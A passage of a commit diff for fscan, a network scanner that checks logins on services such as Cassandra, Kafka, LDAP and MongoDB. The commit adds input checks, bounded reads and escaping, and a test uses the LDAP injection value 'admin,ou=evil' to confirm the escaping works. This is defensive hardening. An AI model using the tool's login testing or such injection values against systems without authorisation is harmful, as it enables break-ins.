mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Harden scan robustness and tests
This commit is contained in:
@@ -158,6 +158,9 @@ func classifyActiveMQErrorType(err error) ErrorType {
|
||||
// authenticateSTOMP 使用STOMP协议认证ActiveMQ
|
||||
func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) {
|
||||
timeout := config.Timeout
|
||||
if err := rejectLineBreaks(username, password); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00",
|
||||
username, password)
|
||||
|
||||
@@ -74,14 +74,16 @@ func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.C
|
||||
//
|
||||
// [1B version|flags] [2B stream] [1B opcode] [4B length] [body]
|
||||
const (
|
||||
cqlVersion = 0x84 // version=4, direction=request
|
||||
cqlOpStartup = 0x01
|
||||
cqlOpAuthRsp = 0x0f
|
||||
cqlOpQuery = 0x07
|
||||
cqlOpReady = 0x02
|
||||
cqlOpAuthOk = 0x10
|
||||
cqlOpAuthChl = 0x0e
|
||||
cqlOpError = 0x00
|
||||
cqlVersion = 0x84 // version=4, direction=request
|
||||
cqlOpStartup = 0x01
|
||||
cqlOpAuthRsp = 0x0f
|
||||
cqlOpQuery = 0x07
|
||||
cqlOpResult = 0x08
|
||||
cqlOpReady = 0x02
|
||||
cqlOpAuthOk = 0x10
|
||||
cqlOpAuthChl = 0x0e
|
||||
cqlOpError = 0x00
|
||||
maxCQLFrameBody = 1024 * 1024
|
||||
)
|
||||
|
||||
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
@@ -157,8 +159,9 @@ func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.Host
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
_ = body
|
||||
_ = opcode
|
||||
if err := validateCQLQueryResponse(opcode, body); err != nil {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
|
||||
@@ -187,7 +190,7 @@ func cqlSend(conn net.Conn, opcode byte, body []byte) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func cqlRecv(conn net.Conn) (byte, []byte, error) {
|
||||
func cqlRecv(conn io.Reader) (byte, []byte, error) {
|
||||
// 读取 9 字节头部(响应也有额外标志字节)
|
||||
header := make([]byte, 9)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
@@ -195,8 +198,11 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) {
|
||||
}
|
||||
opcode := header[4]
|
||||
bodyLen := int(binary.BigEndian.Uint32(header[5:9]))
|
||||
if bodyLen <= 0 || bodyLen > 1024*1024 {
|
||||
return opcode, nil, nil
|
||||
if bodyLen == 0 {
|
||||
return opcode, []byte{}, nil
|
||||
}
|
||||
if bodyLen > maxCQLFrameBody {
|
||||
return opcode, nil, fmt.Errorf("cassandra frame too large: %d", bodyLen)
|
||||
}
|
||||
body := make([]byte, bodyLen)
|
||||
if _, err := io.ReadFull(conn, body); err != nil {
|
||||
@@ -205,6 +211,16 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) {
|
||||
return opcode, body, nil
|
||||
}
|
||||
|
||||
func validateCQLQueryResponse(opcode byte, body []byte) error {
|
||||
if opcode == cqlOpError {
|
||||
return fmt.Errorf("cassandra query failed: %s", string(body))
|
||||
}
|
||||
if opcode != cqlOpResult {
|
||||
return fmt.Errorf("unexpected query opcode: %d", opcode)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// cqlStringMap CQL string map 编码: [2B count] [pairs: [2B len] [str]]
|
||||
func cqlStringMap(m map[string]string) []byte {
|
||||
var buf []byte
|
||||
@@ -270,7 +286,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
opcode, _, err := cqlRecv(conn)
|
||||
opcode, body, err := cqlRecv(conn)
|
||||
if err != nil || opcode != cqlOpReady {
|
||||
return nil
|
||||
}
|
||||
@@ -280,10 +296,13 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil {
|
||||
return nil
|
||||
}
|
||||
_, body, err := cqlRecv(conn)
|
||||
opcode, body, err = cqlRecv(conn)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if err := validateCQLQueryResponse(opcode, body); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
dummy := extractClusterName(body)
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
//go:build plugin_cassandra || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCQLRecvRejectsTooLargeFrame(t *testing.T) {
|
||||
header := make([]byte, 9)
|
||||
header[4] = cqlOpReady
|
||||
binary.BigEndian.PutUint32(header[5:9], maxCQLFrameBody+1)
|
||||
|
||||
_, _, err := cqlRecv(bytes.NewReader(header))
|
||||
if err == nil {
|
||||
t.Fatal("cqlRecv() error = nil, want too-large frame error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "too large") {
|
||||
t.Fatalf("cqlRecv() error = %v, want too large", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCQLRecvAllowsEmptyBody(t *testing.T) {
|
||||
header := make([]byte, 9)
|
||||
header[4] = cqlOpReady
|
||||
|
||||
opcode, body, err := cqlRecv(bytes.NewReader(header))
|
||||
if err != nil {
|
||||
t.Fatalf("cqlRecv() error = %v", err)
|
||||
}
|
||||
if opcode != cqlOpReady || len(body) != 0 {
|
||||
t.Fatalf("cqlRecv() opcode=%d body=%q, want ready empty body", opcode, body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateCQLQueryResponseRejectsErrors(t *testing.T) {
|
||||
if err := validateCQLQueryResponse(cqlOpResult, []byte("rows")); err != nil {
|
||||
t.Fatalf("validateCQLQueryResponse() error = %v", err)
|
||||
}
|
||||
if err := validateCQLQueryResponse(cqlOpError, []byte("permission denied")); err == nil {
|
||||
t.Fatal("validateCQLQueryResponse() error = nil, want query error")
|
||||
}
|
||||
if err := validateCQLQueryResponse(cqlOpReady, nil); err == nil {
|
||||
t.Fatal("validateCQLQueryResponse() error = nil, want unexpected opcode error")
|
||||
}
|
||||
}
|
||||
@@ -7,7 +7,6 @@ import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -107,7 +106,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
+15
-5
@@ -6,6 +6,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
ftplib "github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -80,7 +81,7 @@ func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config,
|
||||
func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.Timeout)...)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
@@ -91,6 +92,11 @@ func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred C
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
stopCancelClose := context.AfterFunc(ctx, func() {
|
||||
_ = conn.Quit()
|
||||
})
|
||||
defer stopCancelClose()
|
||||
|
||||
err = conn.Login(cred.Username, cred.Password)
|
||||
if err != nil {
|
||||
_ = conn.Quit()
|
||||
@@ -118,6 +124,13 @@ func (w *ftpConnWrapper) Close() error {
|
||||
return w.Quit()
|
||||
}
|
||||
|
||||
func ftpDialOptions(ctx context.Context, timeout time.Duration) []ftplib.DialOption {
|
||||
return []ftplib.DialOption{
|
||||
ftplib.DialWithTimeout(timeout),
|
||||
ftplib.DialWithContext(ctx),
|
||||
}
|
||||
}
|
||||
|
||||
// classifyFTPErrorType FTP错误分类
|
||||
func classifyFTPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
@@ -260,10 +273,7 @@ func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string {
|
||||
}
|
||||
|
||||
fileName := entry.Name
|
||||
if len(fileName) > 50 {
|
||||
fileName = fileName[:50] + "..."
|
||||
}
|
||||
files = append(files, fileName)
|
||||
files = append(files, truncateRunes(fileName, 50))
|
||||
}
|
||||
|
||||
return files
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
package services
|
||||
|
||||
import "io"
|
||||
|
||||
const maxServiceHTTPBodyBytes = 2 << 20
|
||||
|
||||
func readServiceHTTPBody(r io.Reader) ([]byte, error) {
|
||||
return io.ReadAll(io.LimitReader(r, maxServiceHTTPBodyBytes))
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
//go:build plugin_elasticsearch || plugin_neo4j || plugin_rabbitmq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestReadServiceHTTPBodyIsBounded(t *testing.T) {
|
||||
body := strings.NewReader(strings.Repeat("a", maxServiceHTTPBodyBytes+1024))
|
||||
got, err := readServiceHTTPBody(body)
|
||||
if err != nil {
|
||||
t.Fatalf("readServiceHTTPBody error = %v", err)
|
||||
}
|
||||
if len(got) != maxServiceHTTPBodyBytes {
|
||||
t.Fatalf("body len = %d, want %d", len(got), maxServiceHTTPBodyBytes)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
//go:build !plugin_selective || plugin_neo4j || plugin_rabbitmq
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func testSession() *common.ScanSession {
|
||||
cfg := common.NewConfig()
|
||||
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
}
|
||||
|
||||
func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo {
|
||||
t.Helper()
|
||||
u, err := url.Parse(server.URL)
|
||||
if err != nil {
|
||||
t.Fatalf("Parse server URL error = %v", err)
|
||||
}
|
||||
host, portText, err := net.SplitHostPort(u.Host)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitHostPort error = %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portText)
|
||||
if err != nil {
|
||||
t.Fatalf("Atoi port error = %v", err)
|
||||
}
|
||||
return &common.HostInfo{Host: host, Port: port}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -88,7 +87,10 @@ func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p
|
||||
return nil
|
||||
}
|
||||
|
||||
loginCmd := fmt.Sprintf("a001 LOGIN %s %s\r\n", cred.Username, cred.Password)
|
||||
loginCmd, err := buildIMAPLoginCommand("a001", cred.Username, cred.Password)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if _, err := conn.Write([]byte(loginCmd)); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -76,7 +76,7 @@ func (p *JDWPPlugin) getVersion(conn interface {
|
||||
}
|
||||
|
||||
header := make([]byte, 11)
|
||||
if _, err := conn.Read(header); err != nil {
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return ""
|
||||
}
|
||||
replyLen := int(header[0])<<24 | int(header[1])<<16 | int(header[2])<<8 | int(header[3])
|
||||
@@ -85,7 +85,7 @@ func (p *JDWPPlugin) getVersion(conn interface {
|
||||
}
|
||||
|
||||
body := make([]byte, replyLen-11)
|
||||
if _, err := conn.Read(body); err != nil {
|
||||
if _, err := io.ReadFull(conn, body); err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -101,10 +101,7 @@ func parseJDWPVersionString(data []byte) string {
|
||||
return ""
|
||||
}
|
||||
s := string(data[4 : 4+strLen])
|
||||
if len(s) > 200 {
|
||||
s = s[:200]
|
||||
}
|
||||
return s
|
||||
return truncateRunes(s, 200)
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
//go:build plugin_jdwp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
type chunkedJDWPConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (c *chunkedJDWPConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := c.chunkSize
|
||||
if n <= 0 || n > len(c.data) {
|
||||
n = len(c.data)
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *chunkedJDWPConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *chunkedJDWPConn) SetDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestJDWPGetVersionHandlesChunkedReads(t *testing.T) {
|
||||
const version = "Java Debug Wire Protocol"
|
||||
body := make([]byte, 4+len(version))
|
||||
binary.BigEndian.PutUint32(body[:4], uint32(len(version)))
|
||||
copy(body[4:], version)
|
||||
|
||||
reply := make([]byte, 11+len(body))
|
||||
binary.BigEndian.PutUint32(reply[:4], uint32(len(reply)))
|
||||
copy(reply[11:], body)
|
||||
|
||||
p := NewJDWPPlugin()
|
||||
got := p.getVersion(&chunkedJDWPConn{data: reply, chunkSize: 3}, time.Second)
|
||||
if got != version {
|
||||
t.Fatalf("getVersion() = %q, want %q", got, version)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseJDWPVersionStringTruncatesByRune(t *testing.T) {
|
||||
version := strings.Repeat("界", 205)
|
||||
body := make([]byte, 4+len(version))
|
||||
binary.BigEndian.PutUint32(body[:4], uint32(len(version)))
|
||||
copy(body[4:], version)
|
||||
|
||||
got := parseJDWPVersionString(body)
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("parseJDWPVersionString() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -155,6 +155,8 @@ func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
|
||||
var kafkaCorrelationID int32
|
||||
|
||||
const maxKafkaResponseSize = 1024 * 1024
|
||||
|
||||
func nextKafkaCorrelationID() int32 {
|
||||
return atomic.AddInt32(&kafkaCorrelationID, 1) - 1
|
||||
}
|
||||
@@ -178,23 +180,26 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func kafkaRecv(conn net.Conn) ([]byte, error) {
|
||||
func kafkaRecv(conn io.Reader) ([]byte, error) {
|
||||
// 读取 4 字节长度
|
||||
lenBuf := make([]byte, 4)
|
||||
if _, err := io.ReadFull(conn, lenBuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msgLen := int(binary.BigEndian.Uint32(lenBuf))
|
||||
if msgLen < 4 {
|
||||
return nil, fmt.Errorf("invalid kafka response length: %d", msgLen)
|
||||
}
|
||||
if msgLen > maxKafkaResponseSize {
|
||||
return nil, fmt.Errorf("kafka response too large: %d", msgLen)
|
||||
}
|
||||
// 读取消息体
|
||||
msg := make([]byte, msgLen)
|
||||
if _, err := io.ReadFull(conn, msg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// 跳过 correlation_id (4B),返回 body
|
||||
if len(msg) >= 4 {
|
||||
return msg[4:], nil
|
||||
}
|
||||
return msg, nil
|
||||
return msg[4:], nil
|
||||
}
|
||||
|
||||
func kafkaString(s string) []byte {
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
//go:build plugin_kafka || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type chunkedKafkaReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedKafkaReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func TestKafkaRecvHandlesChunkedResponse(t *testing.T) {
|
||||
packet := make([]byte, 4+6)
|
||||
binary.BigEndian.PutUint32(packet[:4], 6)
|
||||
binary.BigEndian.PutUint32(packet[4:8], 123)
|
||||
copy(packet[8:], []byte("ok"))
|
||||
|
||||
got, err := kafkaRecv(&chunkedKafkaReader{data: packet, chunkSize: 1})
|
||||
if err != nil {
|
||||
t.Fatalf("kafkaRecv() error = %v", err)
|
||||
}
|
||||
if string(got) != "ok" {
|
||||
t.Fatalf("kafkaRecv() = %q, want ok", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKafkaRecvRejectsTooLargeResponse(t *testing.T) {
|
||||
packet := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(packet, maxKafkaResponseSize+1)
|
||||
|
||||
if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil {
|
||||
t.Fatal("kafkaRecv() error = nil, want too-large response error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestKafkaRecvRejectsShortResponse(t *testing.T) {
|
||||
packet := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(packet, 3)
|
||||
|
||||
if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil {
|
||||
t.Fatal("kafkaRecv() error = nil, want invalid length error")
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
ldaplib "github.com/go-ldap/ldap/v3"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -78,12 +79,17 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
stopCancelClose := context.AfterFunc(ctx, func() {
|
||||
_ = conn.Close()
|
||||
})
|
||||
defer stopCancelClose()
|
||||
|
||||
// 尝试多种DN格式进行绑定测试
|
||||
escapedUser := ldaplib.EscapeDN(cred.Username)
|
||||
dnFormats := []string{
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username),
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser),
|
||||
cred.Username,
|
||||
}
|
||||
|
||||
@@ -171,6 +177,10 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
stopCancelClose := context.AfterFunc(ctx, func() {
|
||||
_ = conn.Close()
|
||||
})
|
||||
defer stopCancelClose()
|
||||
|
||||
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
|
||||
return &AuthResult{
|
||||
@@ -212,6 +222,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses
|
||||
} else {
|
||||
conn = ldaplib.NewConn(tcpConn, false)
|
||||
}
|
||||
conn.SetTimeout(session.Config.Timeout)
|
||||
conn.Start()
|
||||
|
||||
resultChan <- result{conn, nil}
|
||||
@@ -222,9 +233,15 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses
|
||||
return res.conn, res.err
|
||||
case <-ctx.Done():
|
||||
go func() {
|
||||
res := <-resultChan
|
||||
if res.conn != nil {
|
||||
_ = res.conn.Close()
|
||||
timer := time.NewTimer(authCleanupWait())
|
||||
defer timer.Stop()
|
||||
|
||||
select {
|
||||
case res := <-resultChan:
|
||||
if res.conn != nil {
|
||||
_ = res.conn.Close()
|
||||
}
|
||||
case <-timer.C:
|
||||
}
|
||||
}()
|
||||
return nil, ctx.Err()
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
//go:build plugin_ldap || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
ldaplib "github.com/go-ldap/ldap/v3"
|
||||
)
|
||||
|
||||
func TestLDAPDNFormatsEscapeUsernameValue(t *testing.T) {
|
||||
username := "admin,ou=evil"
|
||||
escapedUser := ldaplib.EscapeDN(username)
|
||||
got := []string{
|
||||
fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser),
|
||||
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser),
|
||||
username,
|
||||
}
|
||||
|
||||
for _, dn := range got[:3] {
|
||||
if dn == "cn=admin,ou=evil,dc=example,dc=com" || dn == "uid=admin,ou=evil,dc=example,dc=com" {
|
||||
t.Fatalf("DN was not escaped: %q", dn)
|
||||
}
|
||||
}
|
||||
if got[0] != `cn=admin\,ou=evil,dc=example,dc=com` {
|
||||
t.Fatalf("escaped DN = %q", got[0])
|
||||
}
|
||||
}
|
||||
+255
-23
@@ -4,12 +4,17 @@ package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/hmac"
|
||||
"crypto/md5"
|
||||
"crypto/rand"
|
||||
"crypto/sha1"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"math"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
@@ -17,6 +22,7 @@ import (
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
// MongoDBPlugin MongoDB扫描插件(纯 raw TCP 实现,无重型依赖)
|
||||
@@ -108,12 +114,13 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
|
||||
|
||||
// Step 2: saslStart SCRAM-SHA-1
|
||||
nonce := randomString(24)
|
||||
saslPayload := "n=" + cred.Username + ",r=" + nonce
|
||||
clientFirstBare := "n=" + cred.Username + ",r=" + nonce
|
||||
saslPayload := "n,," + clientFirstBare
|
||||
|
||||
saslStartBody := mongoDoc{
|
||||
"saslStart": 1,
|
||||
"mechanism": "SCRAM-SHA-1",
|
||||
"payload": base64EncodeStr(saslPayload),
|
||||
"payload": []byte(saslPayload),
|
||||
"autoAuthorize": 1,
|
||||
}
|
||||
saslStartCmd := buildMongoCommand("admin", saslStartBody)
|
||||
@@ -127,21 +134,48 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
|
||||
// saslStart 响应检查:
|
||||
// - ok:0 + code:18 → 认证失败
|
||||
// - ok:1 + conversationId + payload → 认证有效
|
||||
respStr := string(resp)
|
||||
if strings.Contains(respStr, "\"ok\":0") || strings.Contains(respStr, "Authentication failed") {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed")}
|
||||
startReply, err := parseMongoCommandReply(resp)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
if !startReply.ok {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", startReply.errmsg)}
|
||||
}
|
||||
if !startReply.conversationSet || len(startReply.payload) == 0 {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("invalid saslStart response")}
|
||||
}
|
||||
|
||||
// 如果在响应中找到 conversationId,说明凭据有效
|
||||
if strings.Contains(respStr, "conversationId") {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
|
||||
serverFirst := string(startReply.payload)
|
||||
clientFinal, err := buildMongoSCRAMClientFinal(cred.Username, cred.Password, clientFirstBare, serverFirst)
|
||||
if err != nil {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err}
|
||||
}
|
||||
|
||||
saslContinueBody := mongoDoc{
|
||||
"saslContinue": 1,
|
||||
"conversationId": int(startReply.conversationID),
|
||||
"payload": []byte(clientFinal),
|
||||
}
|
||||
saslContinueCmd := buildMongoCommand("admin", saslContinueBody)
|
||||
if _, err := sendMongoMsg(ctx, conn, saslContinueCmd, timeout); err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
resp, err = readMongoMsg(conn, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
finalReply, err := parseMongoCommandReply(resp)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
if !finalReply.ok {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", finalReply.errmsg)}
|
||||
}
|
||||
|
||||
// 无认证失败的明确信号 = 尝试成功
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
|
||||
}
|
||||
@@ -149,9 +183,10 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
|
||||
// ── MongoDB wire protocol 工具 ──────────────────────────────────
|
||||
|
||||
const (
|
||||
opMsg uint32 = 2013
|
||||
opQuery uint32 = 2004
|
||||
opReply uint32 = 1
|
||||
opMsg uint32 = 2013
|
||||
opQuery uint32 = 2004
|
||||
opReply uint32 = 1
|
||||
maxMongoMessageBody = 1024 * 1024
|
||||
)
|
||||
|
||||
var mongoRequestID uint32
|
||||
@@ -225,7 +260,7 @@ func buildBSON(doc mongoDoc) []byte {
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
b := []byte(val)
|
||||
buf = append(buf, byte(len(b)+1), 0, 0, 0)
|
||||
buf = binary.LittleEndian.AppendUint32(buf, uint32(len(b)+1))
|
||||
buf = append(buf, b...)
|
||||
buf = append(buf, 0x00)
|
||||
case int:
|
||||
@@ -235,13 +270,16 @@ func buildBSON(doc mongoDoc) []byte {
|
||||
i32 := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(i32, uint32(val))
|
||||
buf = append(buf, i32...)
|
||||
case int64:
|
||||
buf = append(buf, 0x12) // type int64
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
buf = binary.LittleEndian.AppendUint64(buf, uint64(val))
|
||||
case float64:
|
||||
buf = append(buf, 0x01) // type double
|
||||
buf = append(buf, []byte(k)...)
|
||||
buf = append(buf, 0x00)
|
||||
f64 := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(f64, uint64(val))
|
||||
buf = append(buf, f64...)
|
||||
buf = binary.LittleEndian.AppendUint64(buf, math.Float64bits(val))
|
||||
case mongoDoc:
|
||||
buf = append(buf, 0x03) // type document
|
||||
buf = append(buf, []byte(k)...)
|
||||
@@ -252,7 +290,7 @@ func buildBSON(doc mongoDoc) []byte {
|
||||
